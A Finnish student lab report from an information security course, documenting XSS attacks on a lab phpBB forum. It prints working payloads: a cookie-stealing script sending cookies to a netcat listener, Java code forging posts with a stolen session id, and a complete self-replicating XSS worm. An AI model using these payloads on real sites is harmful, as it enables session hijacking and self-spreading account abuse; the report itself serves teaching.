Lauri Haavisto, lauri.haavisto@student.tut.fi

TIE-30301 - Tietoturvallisuuden jatkokurssi

Cross-Site Scripting (XSS) Attack Lab

1 Alkuvalmistelut

Ennen tehtävien suoritusta käynnistettiin apache2-palvelin komennolla ‘*sudo service apache2 start’*. Tämän jälkeen navigoitiin aluksi sivulle *http://www.xsslabphpbb.com/*.

2.1 Task 1: Alert-ikkuna

Ensin kirjauduttiin sivulle käyttäjän *alice* tunnuksilla, jotta viestien lähettäminen olisi mahdollista. Hyökkäystä varten luotiin foorumille uusi ketju, johon lähetettiin viesti *“<script>alert('hello there');</script>”*.

Ketjua avattaessa selain lähetti alert-viestin, jossa oli viesti *“hello there”*, kuten odotettua.

2.2 Task 2: Evästeiden näyttäminen

Hyökkäys onnistui muuten samalla tavalla, mutta nyt viestin sisällöksi annettiin *“<script>alert(document.cookie);</script>”*.

Nyt alert-viestin sisältönä on sivustolta tallennetut evästeet.

2.3 Task 3: Evästeiden varastaminen käyttäjältä

Ennen hyökkäyksen suorittamista käynnistettiin komentoriville Netcat-palvelin, joka kuuntelee pyyntöjä TCP-portissa 5555. Käytetty komento oli *“nc -l -p 5555’*.

Tämän jälkeen foorumille luotiin taas uusi ketju, jonka viestikenttään lisättiin teksti *“<script>document.write('<img src=http://localhost:5555?cookie=' + escape(document.cookie) + '>');</script>”*. Luotu skripti aiheuttaa osoitteeseen localhost:5555 GET-pyynnön, jonka GET-parametrina on käyttäjän evästeet.

Kun ketju avataan, huomataan komentorivillä käyttäjän selaimelta tullut pyyntö, josta voidaan lukea käyttäjän evästeet.

2.4 Task 4: Käyttäjäksi tekeytyminen varastettujen evästeiden avulla

Aluksi kaapattiin viestin lähettämiseen käytetty kutsu Live HTTP headersin avulla, samaan tyyliin kuin ensimmäisessä harjoitustyössä. Kutsu löytyi vaivatta ja se oli:

POST /posting.php
subject=subj&addbbcode18=%23444444&addbbcode20=0&helpbox=Close+all+open+bbCode+tags&message=body&poll_title=&add_poll_option_text=&poll_length=&mode=newtopic&sid=962eb27fac4f5f16593d4be5446d24b8&f=1&post=Submit

Käyttäjän istunnon kannalta oleellista on myöskin lähetettyjen evästeiden sisältö, joka oli seuraavanlainen:

Cookie:
phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%223%22%3B%7D;
phpbb2mysql_sid=962eb27fac4f5f16593d4be5446d24b8;
phpbb2mysql_t=a%3A5%3A%7Bi%3A2%3Bi%3A1520968524%3Bi%3A5%3Bi%3A1520968675%3Bi%3A6%3Bi%3A1520969231%3Bi%3A7%3Bi%3A1520970390%3Bi%3A8%3Bi%3A1520971268%3B%7D

Oleelliset arvot ovat POST-kutsun subject, message, mode, sid, f ja post. Evästeestä oleellinen osa on phpbbmysql_sid, jonka arvona on käyttäjän session id -avain.

Hyökkäystä varten muokattiin annettua java-koodia siten, että vaihdettiin siitä kutsun URL-osoite, POST-data sekä lisättiin eväste. Koska sid on muuttuvaa tyyppiä, päätettiin muokata koodi käyttämään sen arvona käyttäjän syöttämän ensimmäisen argumentin arvoa. Koodista muokatut osat on esitetty kuvassa 1.

```
// Get sid from the first argument
String sid = args[0];

// URL to be forged.
URL url = new URL ("http://www.xsslabphpbb.com/posting.php");

// POST data
String data="subject=Hello&message=XSS%20test&mode=newtopic&f=1&post=Submit&sid=" + sid;

// URLConnection instance is created to further parameterize a
// resource request past what the state members of URL instance
// can represent.
URLConnection urlConn = url.openConnection();
if (urlConn instanceof HttpURLConnection) {
    urlConn.setConnectTimeout(60000);
    urlConn.setReadTimeout(90000);
}

// addRequestProperty method is used to add HTTP Header Information.
// Here we add User-Agent HTTP header to the forged HTTP packet.
urlConn.addRequestProperty("User-agent","Sun JDK 1.6");
urlConn.addRequestProperty("Cookie", "phpbb2mysql_sid=" + sid);
```

Kuva 1 Oleellisimmat muutokset koodista viestin lähettämistä varten

Koodin muokkausten jälkeen koodi käännettiin java-kääntäjällä komennolla “*javac task4.java*”

Ohjelman vaatima komentoriviparametri sid saatiin netcat-palvelimeen tulleesta pyynnöstä, joka oli tässä tapauksessa *962eb27fac4f5f16593d4be5446d24b8*. Ohjelma käynnistettiin siis komennolla "*java task4 962eb27fac4f5f16593d4be5446d24b8*" ja hyökkäys onnistui, sillä foorumille ilmestyi käyttäjän alice viestiketju Hello, jossa viestinä oli "*XSS test*".

2.4 Task 5: XSS-madon luominen

Tehtävän tekemistä helpotti paljon edellisessä tehtävässä ilmi tulleet tiedot. Nyt vain kielenä oli JavaScript, jota ajetaan käyttäjän selaimella suoraan. POST-kutsun datana käytettiin suoraan edellisen tehtävän rakennetta, hieman sitä muokaten. Oleelliset osat koodista on esitetty kuvassa 2.

```
try {
  var sid = null;
  var fields = document.cookie.split('; ');
  for (var i = 0; i < fields.length; ++i) {
    var field = fields[i].split('=');
    if (field[0] == 'phpbb2mysql_sid') {
      sid = field[1];
      break;
    }
  }
  if (sid) {
    var content="subject=Hello&message=Task%205%20test&mode=newtopic&f=1&post=Submit&sid=" + sid;
    /*Send the HTTP POST request.*/
    Ajax.send(content);
  }
} catch(e) {}
```

Kuva 2 Evästeen parsiminen ja viestin lähettäminen JavaScriptillä

Käyttäjän session id jouduttiin parsimaan suoraan evästeestä ja siinä käytettiin apuna for-silmukkaa. Koodiin lisättiin myöskin lisävarmuutta try-catch -lohkon avulla, joka hiljentää kaikki mahdolliset virheet ajon aikana.

Madon käyttö tapahtui yksinkertaisesti siten, että luotiin uusi viestiketju, jonka sisältöön JS-koodi sisällytettiin. Testauksen aikana huomattiin kuitenkin nopeasti, että kaikki rivinvaihdot <*script*>-tagin sisällä muuntuvat <*br*>-tageiksi, jotka rikkovat koodin ajon aikana. Helppo ratkaisu löytyi tekstieditorin korvaustyökalusta, jolla ne saatiin helposti poistettua. Käyttäjän avatessa viestiketjun mato loi uuden ketjun, jonka sisältä löytyi viesti "*Task 5 test*".

2.4 Task 6: Itseään monistavan XSS-madon luominen

Tehtävä onnistui kätevästi muokkaamalla edellisen tehtävän koodia. Oleellista oli lisätä script-tagille jokin id, minkä mukaan elementti ja sen sisältö haetaan ajon aikana (ja jota käytetään monistamiseen). Tarkkana tuli olla merkkijonojen ja erikoismerkkien kanssa. Tärkeää oli myöskin escape-metodin käyttö madon koodille. Koodi on esitetty kokonaisuudessaan kuvassa 3.

```
<script id="worm">
var Ajax = null;

Ajax = new XMLHttpRequest();
Ajax.open("POST", "http://www.xsslabphpbb.com/posting.php", true);
Ajax.setRequestHeader("Host", "www.xsslabphpbb.com");
Ajax.setRequestHeader("Keep-Alive", "300");
Ajax.setRequestHeader("Connection", "keep-alive");
Ajax.setRequestHeader("Cookie", document.cookie);
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

try {
  var sid = null;
  var fields = document.cookie.split('; ');
  for (var i = 0; i < fields.length; i = i-(-1)) {
    var field = fields[i].split('=');
    if (field[0] == 'phpbb2mysql_sid') {
      sid = field[1];
      break;
    }
  }
  if (sid) {
    var tag = "\<script id=\"worm\"\>";
    var wormCode = document.getElementById("worm");
    var escapedCode = escape(tag.concat(wormCode.innerHTML, "\</script\>"));
    var params = "mode=newtopic&f=1&post=Submit";
    var subject = Math.random().toString(36).slice(2);
    var content = params.concat("&subject=", subject ,"&sid=", sid, "&message=", escapedCode);

    Ajax.send(content);
  }
} catch(e) {}
</script>
```

Kuva 3 Valmiin madon koodi kokonaisuudessaan

Koska kaikki ‘+’-merkit jouduttiin korvaamaan muilla menetelmillä (dekrementointi ja konkatenaatio), ulkoasusta ei tullut kovinkaan siisti; tärkeintä on kuitenkin toimivuus. <*script*>-tagi jouduttiin lisäämään erikseen, sillä innerHTML palautti vain elementin sisällön eikä varsinaista tagia. Tuli olla tarkkana, etteivät erikoismerkit ‘<’, ‘>’ ja ‘“‘ rikkoneet koodia. Jotta otsikoihin saatiin hieman varianssia, generoitiin ne metodilla, joka tuottaa satunnaisia 11 merkin pituisia merkkijonoja.

Ennen viestin lähettämistä poistettiin rivinvaihdot, kuten edellisessä tehtävässä. Mato näytti toimivan hienosti, luoden uusia viestiketjuja satunnaisilla nimillä - myöskin toisella käyttäjällä.